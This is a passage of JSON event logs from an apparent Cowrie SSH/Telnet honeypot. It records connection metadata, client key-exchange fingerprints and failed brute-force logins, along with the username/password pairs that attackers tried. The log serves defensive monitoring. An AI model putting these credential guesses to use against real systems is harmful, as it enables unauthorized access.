sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:51.469604Z","src_ip":"159.203.92.129","session":"0c402d3a4af3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TXN","password":"TXN123","message":"login attempt [TXN/TXN123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:51.480180Z","src_ip":"159.203.92.129","session":"0c402d3a4af3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:04:52.487632Z","src_ip":"159.203.92.129","session":"0c402d3a4af3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37572,"dst_ip":"159.203.135.109","dst_port":22,"session":"18ca7b59a21f","protocol":"ssh","message":"New connection: 80.94.92.186:37572 (159.203.135.109:22) [session: 18ca7b59a21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:00.053528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:00.075342Z","src_ip":"80.94.92.186","session":"18ca7b59a21f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:00.176485Z","src_ip":"80.94.92.186","session":"18ca7b59a21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:00.836306Z","src_ip":"80.94.92.186","session":"18ca7b59a21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:01.953726Z","src_ip":"80.94.92.186","session":"18ca7b59a21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.36.50","src_port":11585,"dst_ip":"10.17.0.5","dst_port":23,"session":"300d68d30ae5","protocol":"telnet","message":"New connection: 152.59.36.50:11585 (10.17.0.5:23) [session: 300d68d30ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:30.624556Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45406,"dst_ip":"159.203.135.109","dst_port":22,"session":"75be1a5389a6","protocol":"ssh","message":"New connection: 159.203.92.129:45406 (159.203.135.109:22) [session: 75be1a5389a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:36.713063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:36.718226Z","src_ip":"159.203.92.129","session":"75be1a5389a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:36.727486Z","src_ip":"159.203.92.129","session":"75be1a5389a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TangRoubing","password":"123","message":"login attempt [TangRoubing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:36.742193Z","src_ip":"159.203.92.129","session":"75be1a5389a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:37.750113Z","src_ip":"159.203.92.129","session":"75be1a5389a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.826470613479614,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:05:43.450909Z","src_ip":"152.59.36.50","session":"300d68d30ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37672,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2cade300f4b","protocol":"ssh","message":"New connection: 159.203.92.129:37672 (159.203.135.109:22) [session: e2cade300f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:21.168684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:21.173969Z","src_ip":"159.203.92.129","session":"e2cade300f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:21.179097Z","src_ip":"159.203.92.129","session":"e2cade300f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TangRoubing","password":"123456","message":"login attempt [TangRoubing/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:21.193313Z","src_ip":"159.203.92.129","session":"e2cade300f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:22.199261Z","src_ip":"159.203.92.129","session":"e2cade300f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":47466,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4b9ac46ad2","protocol":"ssh","message":"New connection: 196.189.51.7:47466 (10.17.0.5:22) [session: bb4b9ac46ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:27.245508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:27.254040Z","src_ip":"196.189.51.7","session":"bb4b9ac46ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:27.423025Z","src_ip":"196.189.51.7","session":"bb4b9ac46ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"palosanto","message":"login attempt [admin/palosanto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:28.127084Z","src_ip":"196.189.51.7","session":"bb4b9ac46ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:29.297603Z","src_ip":"196.189.51.7","session":"bb4b9ac46ad2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":4996,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d2fff6de72","protocol":"ssh","message":"New connection: 201.149.53.243:4996 (10.17.0.5:22) [session: 60d2fff6de72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:42.463385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:42.468049Z","src_ip":"201.149.53.243","session":"60d2fff6de72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:42.532433Z","src_ip":"201.149.53.243","session":"60d2fff6de72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo1234","message":"login attempt [ubuntu/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:42.823555Z","src_ip":"201.149.53.243","session":"60d2fff6de72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:06:43.890579Z","src_ip":"201.149.53.243","session":"60d2fff6de72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33644,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d4322a6cc12","protocol":"ssh","message":"New connection: 159.203.92.129:33644 (159.203.135.109:22) [session: 9d4322a6cc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:05.471030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:05.477310Z","src_ip":"159.203.92.129","session":"9d4322a6cc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:05.496664Z","src_ip":"159.203.92.129","session":"9d4322a6cc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TangRoubing","password":"TangRoubing","message":"login attempt [TangRoubing/TangRoubing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:05.510612Z","src_ip":"159.203.92.129","session":"9d4322a6cc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:06.517693Z","src_ip":"159.203.92.129","session":"9d4322a6cc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42758,"dst_ip":"159.203.135.109","dst_port":22,"session":"890685c0512c","protocol":"ssh","message":"New connection: 159.203.92.129:42758 (159.203.135.109:22) [session: 890685c0512c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:48.945141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:48.949881Z","src_ip":"159.203.92.129","session":"890685c0512c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:48.954629Z","src_ip":"159.203.92.129","session":"890685c0512c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TangRoubing","password":"TangRoubing123","message":"login attempt [TangRoubing/TangRoubing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:48.965726Z","src_ip":"159.203.92.129","session":"890685c0512c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:49.972231Z","src_ip":"159.203.92.129","session":"890685c0512c","protocol":"ssh"}
